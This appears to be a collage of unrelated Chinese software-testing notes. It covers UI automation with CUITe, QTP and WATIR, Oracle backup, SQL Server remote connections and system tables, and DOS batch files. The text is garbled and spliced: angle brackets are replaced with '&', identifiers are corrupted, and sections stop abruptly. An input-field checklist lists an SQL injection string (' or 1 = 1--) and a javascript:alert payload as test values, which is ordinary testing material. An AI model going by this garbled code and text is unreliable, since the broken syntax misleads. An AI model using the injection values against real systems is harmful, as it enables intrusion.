版本显卡有问题怎么办,那个菠萝版的

定义页面控件(ObjectRepository)。2.定义操作步骤(Test Cases).
执行过程:
1.加载ObjectRepository类并生成实例2.ObjectRepositoryManager.cs 使用反射拿到ObjectRepository实例中各个field3.利用反射生成field对应实例,使用wrap方法,讲searchproperty及class type赋给UITestControl(T),通过T来操作UI控件。
CUITE框架源码结构:
1.定义接口ICUITE_ControlBase2.定义类CUITE_ControlBase 继承接口ICUITE_ControlBase,
类包含泛型字段T,T为UITestControl 类型。3.类CUITE_ControlBase提供wrap和unwrap方法,用来生成运行时对象T,及返回T对象4.类CUITE_ControlBase封装方法中加了WaitForControlReady处理5.针对不同的控件类型封装了几种basecontrol(HtmlControls,
WinControls, TelerikControls), 像类CUITE_HtmlControl, 继承于CUITE_ControlBase,并新增了Html特有的一些属性及方法,如属性InnerText6.封装Html控件类型为CUITE_Html..,继承与CUITE_HtmlControl,提供一些额外的方法。如CUITe_HtmlCheckBox类,提供方法Check2,使用javascript方式来选中checkbox。
字符型输入框1. 输入框长度测试。2. 输入框可接受字符集测试 0~9或A~Z或a~z或者~!@#$%^&*()_+|/=-`{}[];’”:,./?&&3. 数据库特殊字符 ' or 1 = 1--4. html标签,java script关键字 &&, javascript.:alert("Hello!");5. 空格6. NULL, null关键字7. 特殊字符:回车enter,换行shift enter,转义字符/,&, Space, Tab, Non-ASCII 字符,%,!, ".数值型输入框1. 非法字符。 A~Z或a~z或者~!@#$%^&*()_+|/=-`{}[];’”:,./?&&2. 空字符3. 首尾字母为04. 精确位数5. 正负数6. 小数点不止一个7. 超大数值
不论何种方式,数据库的备份即为data file/control file/redo file此三种文件的备份。
1、exp/imp的备份方式
2、脱机备份方式(offline backup)
3、联机备份方式(online backup)
4、standy的运行模式 Oracle冷备份的通常步骤:1& 正常关闭数据库2& 备份所有重要的文件到备份目录(数据文件、控制文件、重做日志文件等)3& 完成备份后启动数据库& 用冷备份进行恢复时,只需要将所有文件恢复到原有位置,就可以启动数据库了 。
1& 进入数据库#sqlplus "/as sysdba"2& 如果没有启动则要启动:SQL&startup3& 查询数据文件datafile的所在目录:SQL&SELECT name FROM v$&&&& 查询控制文件controlfile的所在目录:&SQL&SELECT name FROM v$&&&& 查询重做日志文件的所在目录:& SQL&SELECT member FROM v$4& 关闭数据库&& SQL&shutdown5& 备份文件到备份的目录&&& #cp /u01/app/oracle/oradata/orcl/*.dbf& /home/mzl/BackupDatabase&&& #cp /u01/app/oracle/oradata/orcl/*.ctl& /home/mzl/BackupDatabase&&& #cp /u01/app/oracle/oradata/orcl/*.log& /home/mzl/BackupDatabase6& 然后启动数据库&& #sqlplus "/as sysdba"&& SQL&startup
1. sql注入。
2. 数据加密。
3. 文件的上传有没有限制,对特殊类型文件。
4. 表单格式的html能否保存本地,修改后再提交。
Content from /b/sqlexpress/archive//415084.aspxThe information in this posting is superseded by the following KB Article:
914277&How to configure SQL Server 2005 to allow remote connections-----------------------------------------------------------------------------------
Some people have been having issues when trying to make remote connections to SQL Express.& This document will hopefully clarify most of the issues around remote connections.First, networking protocols are disabled by default in SQL Server Express. Thus, if someone simply installs Express and chooses all the defaults, SQL Server Express will only be able to have connections originating on the local machine where SQL Server is installed.To enable SQL Server Express to accept remote connections we need to perform. the following steps:STEP 1: Enabling TCP/IPFirst we must tell SQL Server Express to listen on TCP/IP, to do this perform. the following steps:1. Launch the SQL Server Configuration Manager from the "Microsoft SQL Server 2005 CTP" Program menu2. Click on the "Protocols for SQLEXPRESS" node,3. Right click on "TCP/IP" in the list of Protocols and choose, "Enable"
STEP 2: To Browse or not to BrowseNext, we have to determine if we want the SQL Browser service to be running or not.& The benefit of having this service run is that users connecting remotely do not have to specify the port in the connection string.& Note: It is a security best practice to not run the SQLBrowser service as it reduces the attack surface area by eliminating the need to listen on an udp port.OPTION A: If you want to always specify a TCP port when connecting (Not using SQL Browser service) perform. the following steps else skip these steps:1.&&&&& Launch the SQL Server Configuration Manager from the "Microsoft SQL Server 2005 CTP" Program menu2.&&&&& Click on the "Protocols for SQLEXPRESS" node3.&&&&& Click on the "TCP/IP" child node4.&&&&& You will notice an entry on the right panel for "IPAll", right click on this and select, "Properties"5.&&&&& Clear out the value for "TCP Dynamic Ports"6.&&&&& Give a TcpPort number to use when making remote connections, for purposes of this example lets choose, "2301"At this point you should restart the SQL Server Express service.& At this point you will be able to connect remotely to SQL Express.& A way I like to check the connection is my using SQLCMD from a remote machine and connecting like this:SQLCMD -E -S YourServer\SQLEXPRESS,2301The "," in the server name tells SQCMD it's a port.So you've tried this and still get an error.& Take a look at Step 3, this should address the remaining issue.OPTION B:& If you want to use SQL Browser service perform. these steps:&&&&&&&&&&&&Note:&&&&&&&&&&&&You will need to make this registry key change if you are using the April&&&&&&&&&&&&&CTP or earlier versions:&&&&&&&&&&&&To enable sqlbrowser service to listen on the port 1434, the following&&&&&&&&&&&&&registry key must be set to 1&&&&&&&&&&&&HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\90\SQL&&&&&&&&&&&&&Browser\Ssrplistener&&&&&&&&&&&&Next, restart the sqlbrowser service.&&&&& 1. Start the SQL Browser ServiceSTEP 3: Firewall..?&&&&& At this point you should be able to remotely connect.& If you still can't chances are you have a firewall configured on the computer where SQL Express is running.& The instructions below are for Windows XP SP2's firewall settings.&&&&& To enable the firewall to allow SQL Server Express traffic:1.&&&&& Launch the Windows Firewall configuration tool from the control panel.2.&&&&& Click the Exceptions Tab3.&&&&& Click the "Add Programs." button and select "sqlservr.exe" from the location where you install SQL Server ExpressYou should be able to remotely connect.& Note, you can get more restrictive by just specifying the port number that will be allowed (used best when configured with Option A).Note: If you chose to use the SQL Browser service, you must also add sqlbrowser service executable to the exception list as it listens on udp port 1434.
HTML Dom是一个访问HTML文档的W3C标准。它定义了如何去访问页面元素对象以及属性和方法。在DOM标准里面:1 整个HTML文档是一个文档节点。2 每一个HTML 标签都是一个元素节点。3 HTML 文本都是文本节点。 4 每一个HTML 属性都是一个属性节点。
HTML DOM 的一些主要属性(x是一个HTEML元素)x.innerHtml - the inner text value of x (a HTML element) x.nodeName - the name of x x.nodeValue - the value of x x.parentNode - the parent node of x x.childNodes - the child nodes of x x.attributes - the attributes nodes of x
HTML DOM 的一些主要方法(x是一个HTEML元素)x.getElementById(id) - get the element with a specified id x.getElementsByTagName(name) - get all elements with a specified tag name x.appendChild(node) - insert a child node to x x.removeChild(node) - remove a child node from x
通常访问HTML DOM节点有一下三种方法:1 使用getElementById()& node.getElementsByTagName("tagname");2 使用getElementsByTagName()& x=document.getElementsByTagName("p");& For i = 0 to x.Length - 1&&& Print x(i).innerText3 使用HTML文档的节点树导航& node.firstChild& node.childNodes& node.parentNode
掌握HTML DOM对qtp web测试是很有帮助的。下面有个简单的例子,在开心网上搜索好友列表并把相应的车位状态取出来。如果用qtp实现的话有下面几个难点,好友的列表的长度是动态变化的,好友名称是不固定的,不同的登陆用户有不同的好友。使用HTML DOM就可以比较方便的解决找个问题,查看页面源代码我们知道每一个好友都是存在一个"UL"标签里面,而好友的车位状态是存在"LI"标签的子节点里面。
Function Find_Park()Dim dSet d = createobject("scrīpting.dictionary")
'Get all the "UL" tag from the page, each object contains the information of one friendSet friends = Browser("争车位 - 开心网").Page("争车位 - 开心网").Object.getElementsByTagName("ul")For i = 0 to friends.Length - 1&'Get all the "LI" tag within each friend, one object& whose style is "FLOAT: right" contain the status of the park&Set friendAttrs = friends(i).GetElementsByTagName("li")
&blnFlag = False&For j = 0 to friendAttrs.Length - 1&&If strComp("FLOAT: right", friendAttrs(j).style.csstext, 1) = 0 Then&&&Set imgs =& friendAttrs(j).GetElementsByTagName("img")&&&d.Add friends(i).InnerText, imgs(0).GetAttribute("alt")&&&blnFlag = True&&&Exit For&&End If&Next
&If Not blnFlag Then&&d.Add friends(i).InnerText, "空"&End IfNext
Set Find_Park = dEnd Function
Public Function ConvertToURL(cFilename)Dim sURL' Ensure leading slash.If Left(cFilename, 1) && "/" ThencFilename = "/" + cFilenameEnd IfsURL = Replace(cFilename, "\", "/") 'change backslashes to forward slashes.sURL = "file://" + sURL 'Example: " Files/Sample.ods"ConvertToURL = sURLEnd Function
Function GetData(sFileName, sSheetName)Dim objServiceManagerDim oDesktopDim oDocumentDim oSheetDim oParCursorDim oCellDim xSearchDesc
Set ōbjServiceManager = CreateObject("com.sun.star.ServiceManager")Set ōDesktop = objServiceManager.createInstance("com.sun.star.frame.Desktop")Set ōDocument = oDesktop.loadComponentFromURL(ConvertToURL(sFileName), "_blank", 0, Array())Set ōSheet = oDocument.Sheets.getByName(sSheetName)
Set xSearchDesc = oSheet.createSearchDescrīptor()xSearchDesc.SetSearchString("DC")Set ōCell = oSheet.findFirst(xSearchDesc)MsgBox oCell.getCellAddress().Row MsgBox oCell.getCellAddress().Column '//Use the openoffice search function to getcell and return the row and column
Set ōRowCursor = oSheet.createCursor() oRowCursor.gotoStartofUsedArea(false) oRowCursor.gotoEndofUsedArea(True)MsgBox oRowCursor.getrows.Count
Set ōColumnCursor = oSheet.createCursor() oColumnCursor.gotoStartofUsedArea(false) oColumnCursor.gotoEndofUsedArea(True)MsgBox oColumnCursor.getColumns.Count
MsgBox oSheet.GetCellByPosition(0, 0).GetString()
End Function
Dim MyArray()Dim RowNumberRowNumber = 100ReDim MyArray(2, RowNumber)Dim RowCountSet RootObj = CreateObject("Mercury.ObjectRepositoryUtil") RootObj.Load "E:\Project\QTPTest\test.tsr" RowCount = 0EnumberateRepository(NULL)If RowCount & UBound(MyArray, 2) Then&ReDim Preserve MyArray(2, RowCount-1)End IfExecute GetobjectDescrīption("q")&".Set "&"""Randall"""Set RootObj = Nothing'***************************************************************************************Sub EnumberateRepository(Root)&&& Dim TOCollection, TestObject, PropertiesCollection&&& Set TOCollection = RootObj.GetChildren(Root) &If RowCount & Ubound(MyArray, 2) Then&&ReDim Preserve MyArray(2, Ubound(MyArray, 2) + 100)&End If&&& For i = 0 To TOCollection.Count - 1 &&&&&&&&&&& Set TestObject = TOCollection.Item(i) &&&MyArray(0, RowCount) = TestObject.GetToProperty("MicClass")&&&MyArray(1, RowCount) = RootObj.GetLogicalName(TestObject)&&&If IsNull(Root) Then&&&&MyArray(2, RowCount) = ""&&&Else &&&&&MyArray(2, RowCount) = RootObj.GetLogicalName(Root)&&&End If &&& RowCount = RowCount +1&&&& EnumberateRepository TestObject&& &&&& Next& End Sub'***************************************************************************************Function GetobjectDescrīption(objname)Dim ObjDescrīption, ParentNameObjDescrīption = ""i = UBound(MyArray, 2)ParentName = objnameWhile i &= 0 If StrComp(myarray(1, i), ParentName) = 0 Then&&& ParentName = myarray(2, i)&&& If StrComp(ObjDescrīption, "") = 0 then&&& ōbjDescrīption = MyArray(0, i)&"("&chr(34)&MyArray(1, i)&chr(34)&")"&&& Else&&& ōbjDescrīption = MyArray(0, i)&"("&chr(34)&MyArray(1, i)&chr(34)&")"&"."&ObjDescrīption&End If&If StrComp(myarray(2, i), "") = 0 Then&GetobjectDescrīption = ObjDescrīption&Exit Function&End If&End If&i = i - 1WendEnd Function
The HTML Elements that are currently supported include:
&input& tags with type=button, submit, image or reset
&input& tags with the type= known as radio buttons
&input& tags with type=checkbox
text_field
&input& tags with the type=text (single-line), type=textarea (multi-line), and type=password
&input& tags with type=hidden
select_list
&select& tags, known as drop-downs or drop-down lists
&label& tags (including "for" attribute)
&span& tags
&div& tags
&p& (paragraph) tags
&a& (anchor) tags
&table& tags, including row and cell methods for accessing nested elements.
&img& tags
&form& tags
frames, including both the &frame& elements and the corresponding pages.
&map& tags
&area& tags
&li& tags :id &Used to find an element that has an "id=" attribute. Since each id should be unique, according to the XHTML specification, this is recommended as the most reliable method to find an object. *&:name &Used to find an element that has a "name=" attribute. This is useful for older versions of HTML, but "name" is deprecated in XHTML. *&:value &Used to find a text field with a given default value, or a button with a given caption, or a text field &:text &Used for links, spans, divs and other element that contain text.&:index &Used to find the nth element of the specified type on a page. For example, button(:index, 2) finds the second button. Current versions of WATIR use 1-based indexing, but future versions will use 0-based indexing.&:class &Used for an element that has a "class=" attribute.&:title &Used for an element that has a "title=" attribute.&:xpath &Finds the item using xpath query.&:method &Used only for forms, the method attribute of a form is either GET or POST.&:action &Used only for form elements, specifies the URL where the form is to be submitted.&:href &Used to identify a link by its "href=" attribute.&:src &Used to identify an image by its URL.&* :id and :name are the quickest of these to process, and so should be used when possible to speed up scrīpts.原文地址:http://wiki.openqa.org/display/WTR/Methods+supported+by+Element
1. Requirement Phase:
a) Involve Testers from the Beginning.
b) Verify the requirements.
c) Design Test Procedures As Soon As Requirements Are Available.
d) Ensure That Requirement Changes Are Communicated.
e) Beware of Developing and Testing Based on an Existing System.
2. Test Planning:
a) Understand the Task At Hand and the Related Testing Goal.
b) Consider the Risk.
c) Base Testing Efforts on a Prioritized Feature Schedule.
d) Keep Software Issues in Mind.
e) Acquire Effective Test Data.
f) Plan the Test Environment.
g) Estimate Test Preparation and Execution Time.
主数据库 保存数据库的文件 主数据库字符集与排序顺序主数据库 配置选项主数据库当前配置选项主数据库服务器中的数据库主数据库语言主数据库 登陆帐号信息主数据库 链接服务器登陆信息主数据库进程主数据库 远程登录帐号每个数据库 列每个数据库 限制每个数据库 文件组每个数据库 文件每个数据库 外部关键字每个数据库 索引每个数据库角色成员每个数据库所有数据库对象每个数据库 权限每个数据库 用户定义数据类型每个数据库 用户sysaltfiles 在特殊情况下,包含与数据库中的文件相对应的行。该表存储在 master 数据库中。
每个数据库的唯一文件标识号。
文件组标识号。
文件大小(以 8 KB 页为单位)。
最大文件大小(以 8 KB 页为单位)。0 值表示不增长,–1 值表示文件应一直增长到磁盘已满。
数据库的增长大小。0 值表示不增长。根据状态的值,可以是页数或文件大小的百分比。如果 status 为 0x100000,则 growth 是文件大小的百分比;否则是页数。
仅限内部使用。
该文件所属数据库的数据库标识号。
nchar(128)
文件的逻辑名称。
nchar(260)
物理设备的名称,包括文件的完整路径。&syscharsets 每个字符集在表中各占一行,表中还包含定义供 Microsoft? SQL Server? 使用的排序次序。排序次序中的一个在 sysconfigures 中标记为默认排序次序,该次序是实际使用的唯一次序。
该行表示的实体类型。1001 是字符集;2001 是排序次序。
字符集或排序次序的唯一 ID。注意排序次序和字符集不能共享相同的 ID 号。保留从 1 到 240 的 ID 范围供 SQL Server 使用。
如果该行表示字符集,则不使用该字段。如果该行表示排序次序,则该字段是在其上生成排序次序的字符集 ID。假设具有该 ID 的字符集行存在于该表中。
内部系统状态信息位。
字符集或排序次序的唯一名称。该字段必须只包含字母 A-Z 或 a-z、数字 0 – 9 和下划线 (_)。必须以字母开头。
descrīption
nvarchar(255)
字符集或排序次序功能的可选描述。
binarydefinition
varbinary(255)
仅限内部使用。
definition
字符集或排序次序的内部定义。该字段中的数据结构取决于类型。sysconfigures 用户设置的每个配置选项在表中各占一行。 sysconfigures 包含最近启动 Microsoft? SQL Server? 前定义的配置选项,还包含最近启动后设置的所有动态配置选项。该表只位于 master 数据库中。
变量的用户可修改值(仅在已执行 RECONFIGURE 后由 SQL Server 使用)。
配置变量号。
nvarchar(255)
对配置选项的解释。
表示选项状态的位图。可能的值包括: 0 = 静态(该设置在服务器重新启动时生效)。1 = 动态(该变量在 RECONFIGURE 语句执行时生效)。2 = 高级(仅当设置了显示高级选项时才显示该变量)。3 = 动态和高级。&syscurconfigs 每个当前配置选项各占一项。另外,该表还包含四个描述配置结构的项。 syscurconfigs 在由用户查询时动态生成。有关更多信息,请参见 。
用户可修改的变量值(仅在已执行 RECONFIGURE 的情况下由 Microsoft? SQL Server? 使用)。
配置变量号。
nvarchar(255)
对配置选项的解释。
表示选项状态的位图。可能的值包括: 0 = 静态(该设置在服务器重新启动时生效)。1 = 动态(该变量在 RECONFIGURE 语句执行时生效)。2 = 高级(仅当设置了显示高级选项时才显示该变量)。3 = 动态和高级。&sysdatabases Microsoft? SQL Server? 上的每个数据库在表中占一行。最初安装 SQL Server 时, sysdatabases 包含 master 、 model 、 msdb 、 mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。
数据库的名称。
数据库 ID。
varbinary(85)
数据库创建者的系统 ID。
用于创建数据库时在内部锁定该数据库。
状态位,其中某些状态位可由用户使用 sp_dboption ( read only 、 dbo use only 、 single user 等)进行设置: 1 = autoclose ;使用 sp_dboption 设置。4 = select into/bulkcopy ;使用 sp_dboption 设置。8 = trunc. log on chkpt ;使用 sp_dboption 设置。16 = torn page detection ,使用 sp_dboption 设置。32 = loading 。64 = pre recovery 。128 = recovering 。256 = not recovered 。512 = offline ;使用 sp_dboption 设置。1024 = read only ;使用 sp_dboption 设置。2048 = dbo use only ;使用sp_dboption 设置。4096 = single user ;使用 sp_dboption 设置。32768 = emergency mode 。 4194304 = autoshrink 。
= cleanly shutdown 。可以同时打开多个位。
16384 = ANSI null default ;使用 sp_dboption 设置。65536 = concat null yields null ,使用 sp_dboption 设置。131072 = recursive triggers ,使用 sp_dboption 设置。1048576 = default to local cursor ,使用 sp_dboption 设置。8388608 = quoted identifier ,使用sp_dboption 设置。 = cursor close on commit ,使用 sp_dboption 设置。 = ANSI nulls ,使用 sp_dboption 设置。 = ANSI warnings ,使用 sp_dboption 设置。 = full text enabled ,使用 sp_fulltext_database 设置。
创建日期。
留作以后使用。
包含用于复制的信息位图: 1 = 已发布。2 = 已订阅。4 = 合并已发布。8 = 合并已订阅。
数据库的兼容级别。有关更多信息,请参见 。
nvarchar(260)
数据库主文件的操作系统路径和名称。
创建数据库时使用的 SQL Server 代码内部版本号。仅供 SQL Server 工具在内部用于升级处理。syslanguages 出现在 Microsoft? SQL Server? 中的每种语言在表中各占一行。虽然美国英语不在 syslanguages 内,但该表始终可由 SQL Server 使用。该表只存储在 master 数据库中。
唯一语言 ID。
dateformat
日期顺序(如 DMY)。
一周的第一天:1 表示星期一,2 表示星期二,依此类推,直到 7 表示星期日。
留作系统使用。
正式语言名称(例如,fran?ais)。
备用语言名称(如 French)。
nvarchar(372)
按从一月到十二月的顺序排列的用逗号分隔的月份全称列表,每个名称最多包含 20 个字符。
shortmonths
varchar(132)
按从一月到十二月的顺序排列的用逗号分隔的缩写月份名称列表,每个名称最多包含 9 个字符。
nvarchar(217)
按从一月到十二月的顺序排列的用逗号分隔的天名称列表,每个名称最多包含 30 个字符。
此种语言的 Microsoft Windows NT? 区域设置 ID。
SQL Server 消息组 ID。安装了 SQL Server 提供的三十三种语言。下面是语言列表。
用英语表示的名称
SQL Server 消息组 ID
Portuguese
British English
Lithuanian
Traditional Chinese
Simplified Chinese
1054syslogins 每个登录帐户在表中占一行。
varbinary(85)
安全标识符。
仅限内部使用。
createdate
添加登录的日期。
updatedate
更新登录的日期。
仅限内部使用。
仅限内部使用。
仅限内部使用。
spacelimit
仅限内部使用。
仅限内部使用。
resultlimit
仅限内部使用。
varchar(30)
用户的登录 ID。
nvarchar(128)
建立连接时,用户的默认数据库名。
nvarchar(128)
用户的加密密码(可以是 NULL)。
nvarchar(128)
用户的默认语言。
如果登录是 Microsoft? Windows NT? 用户或组且已被拒绝访问,则为 1。
如果已授权登录访问服务器,则为 1。
如果登录是 Windows NT 用户或组,则为 1;如果登录是 Microsoft SQL Server? 登录,则为 0。
如果登录是 Windows NT 组,则为 1。
如果登录是 Windows NT 用户,则为 1。
如果登录是 sysadmin 服务器角色成员,则为 1。
securityadmin
如果登录是 securityadmin 服务器角色成员,则为 1。
serveradmin
如果登录是 serveradmin 固定服务器角色成员,则为 1。
setupadmin
如果登录是 setupadmin 固定服务器角色成员,则为 1。
processadmin
如果登录是 processadmin 固定服务器角色成员,则为 1。
如果登录是 diskadmin 固定服务器角色成员,则为 1。
如果登录是 dbcreator 固定服务器角色成员,则为 1。
nvarchar(128)
登录的实际名称,该名称可能不同于 SQL Server 所使用的登录名。&sysoledbusers 每个指定的链接服务器的用户和密码映射在表中占一行。该表存储在 master 数据库中。
服务器的 SID(安全标识号)。
rmtloginame
nvarchar(128)
loginsid 映射到的链接 rmtservid 的远程登录名。
rmtpassword
nvarchar(128)
链接 rmtsrvid 内的指定远程登录的加密密码。
varbinary(85)
要映射的本地登录 SID。
如果该值为 1,映射应使用用户自己的凭据。
changedate
上次更改映射信息的日期。&sysprocesses sysprocesses 表中保存关于运行在 Microsoft? SQL Server? 上的进程的信息。这些进程可以是客户端进程或系统进程。 sysprocesses 只存储在 master 数据库中。
SQL Server 进程 ID。
Microsoft Windows NT 4.0? 线程 ID。
分块进程的进程 ID ( spid )。
当前等待时间(以毫秒为单位)。当进程不处于等待时,为 0。
lastwaittype
表示上次或当前等待类型名称的字符串。
waitresource
锁资源的文本化表示法。
当前正由进程使用的数据库 ID。
执行命令的用户 ID。
进程的累计 CPU 时间。无论 SET STATISTICS TIME ON 选项是 ON 还是 OFF,都为所有进程更新该条目。
physical_io
进程的累计磁盘读取和写入。
当前分配给该进程的过程高速缓存中的页数。一个负数,表示进程正在释放由另一个进程分配的内存。
login_time
客户端进程登录到服务器的时间。对于系统进程,是存储 SQL Server 启动发生的时间。
last_batch
客户端进程上次执行远程存储过程调用或 EXECUTE 语句的时间。对于系统进程,是存储 SQL Server 启动发生的时间。
用于唯一标识代表单个进程进行操作的子线程的执行上下文 ID。
进程的打开事务数。
进程 ID 状态(如运行、休眠等)。
binary(85)
用户的全局唯一标识符 (GUID)。
nchar(128)
工作站的名称。
program_name
nchar(128)
应用程序的名称。
hostprocess
工作站进程 ID 号。
当前正在执行的命令。
nchar(128)
客户端的 Windows NT 4.0 域(如果使用 Windows 身份验证)或信任连接的 Windows NT 4.0 域。
nt_username
nchar(128)
进程的 Windows NT 4.0用户名(如果使用 Windows 身份验证)或信任连接的 Windows NT 4.0 用户名。
net_address
指派给每个用户工作站上的网络接口卡唯一标识符。当用户登录时,该标识符插入 net_address 列。
net_library
用于存储客户端网络库的列。每个客户端进程都在网络连接上进入。网络连接有一个与这些进程关联的网络库,该网络库使得这些进程可以建立连接。有关更多信息,请参见。
nchar(128)
登录名。&sysremotelogins 每个允许调用 Microsoft? SQL Server? 上的远程存储过程的远程用户占一行。
remoteserverid
远程服务器标识。
remoteusername
nvarchar(128)
远程服务器上的用户登录名。
选项的位图。
varbinary(85)
Microsoft Windows NT? 用户安全 ID。
changedate
添加远程用户的日期和时间。&syscolumns 每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。
列名或过程参数的名称。
该列所属的表对象 ID,或与该参数关联的存储过程 ID。
systypes 中的物理存储类型。
仅限内部使用。
扩展的用户定义数据类型 ID。
systypes 中的最大物理存储长度。
仅限内部使用。
仅限内部使用。
列或参数 ID。
仅限内部使用。
仅限内部使用。
仅限内部使用。
仅限内部使用。
该列的默认值 ID。
该列的规则或 CHECK 约束 ID。
过程分组时(0 表示非过程项)的子过程号。
仅限内部使用。
varbinary(255)
仅限内部使用。
该列所在行的偏移量;如果为负,表示可变长度行。
用于描述列或参数属性的位图: 0x08 = 列允许空值。0x10 = 当添加 varchar 或 varbinary 列时,ANSI 填充生效。保留 varchar 列的尾随空格,保留 varbinary 列的尾随零。0x40 = 参数为 OUTPUT 参数。0x80 = 列为标识列。
systypes 中的物理存储类型。
systypes 中的用户定义数据类型 ID。
varchar(255)
仅限内部使用。
该列的精度级别。
该列的小数位数。
iscomputed
表示是否已计算该列的标志: 0 = 未计算。1 = 已计算。
isoutparam
表示该过程参数是否是输出参数: 1 = 真。0 = 假。
isnullable
表示该列是否允许空值: 1 = 真。0 = 假。&sysconstraints 包含约束映射,映射到拥有该约束的对象。该系统目录存储在每个数据库中。
拥有该约束的表 ID。
在其上定义约束的列 ID,如果是表约束则为 0。
位图指示状态。可能的值包括: 1 = PRIMARY KEY 约束。2 = UNIQUE KEY 约束。3 = FOREIGN KEY 约束。4 = CHECK 约束。5 = DEFAULT 约束。16 = 列级约束。32 = 表级约束。
保留。&sysfilegroups 数据库中的每个文件组在表中占一行。该表存储在每个数据库中。在该表中至少有一项用于主文件组。
每个数据库的唯一组标识号。
allocpolicy
0x8 = READ ONLY0x10 = DEFAULT
文件组的名称。sysforeignkeys 包含关于表定义中的 FOREIGN KEY 约
批处理文件,在MS-DOS中,.bat文件是可执行文件,有一系列命令构成,其中可以包含对其他程序的调用。首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:@ECHO OFFPATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTC:\SYSTOOLS;C:\WINTOOLS;C:\BATCHLH SMARTDRV.EXE /X /INSERTLH CTMOUSE.EXESET TEMP=D:\TEMPSET TMP=D:\TEMP批处理的作用简单的说,批处理的作用就是自动的连续执行多条命令。这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(&前面内容表示DOS提示符): C:\&cd wps C:\WPS&spdosC:\WPS&py C:\WPS&wbx C:\WPS&wps 如果每次用WPS之前都这样执行一遍,您是不是觉得很麻烦呢?好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:@echo offc:cd\wpsspdospywbxwpscd\以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。常用命令echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。 echo 表示显示此命令后的字符 echo off 表示在此语句后所有运行的命令都不显示命令行本身 @与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。 call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。 pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续 rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。 例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。   批处理文件的内容为:         命令注释:     @echo off           不显示后续命令行及当前命令行    dir c:\*.* &a.txt       将c盘文件列表写入a.txt     call c:\ucdos\ucdos.bat    调用ucdos     echo 你好            显示"你好"     pause              暂停,等待按键继续     rem 准备运行wps         注释:准备运行wps     cd ucdos            进入ucdos目录     wps               运行wps   批处理文件的参数批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。 %[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。 例2:C:根目录下有一批处理文件名为f.bat,内容为:@echo offformat %1如果执行C:\&f a:那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:例3:C:根目录下一批处理文件名为t.bat,内容为:@echo offtype %1 type %2 那么运行C:\&t a.txt b.txt %1 : 表示a.txt%2 : 表示b.txt于是上面的命令将顺序地显示a.txt和b.txt文件的内容。特殊命令if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。 一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 1、if [not] "参数" == "字符串" 待执行的命令 参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。例:if "%1"=="a" format a:2、if [not] exist [路径\]文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。如: if exist c:\config.sys type c:\config.sys 表示如果存在c:\config.sys文件,则显示它的内容。3、if errorlevel &数字& 待执行的命令 很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。 如:goto end :end echo this is the end 标号用“:字符串”来定义,标号所在行不被执行。 三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]描述:  该工具允许用户从选择列表选择一个项目并返回所选项目的索引。参数列表: /C  choices    指定要创建的选项列表。默认列表是 "YN"。 /N         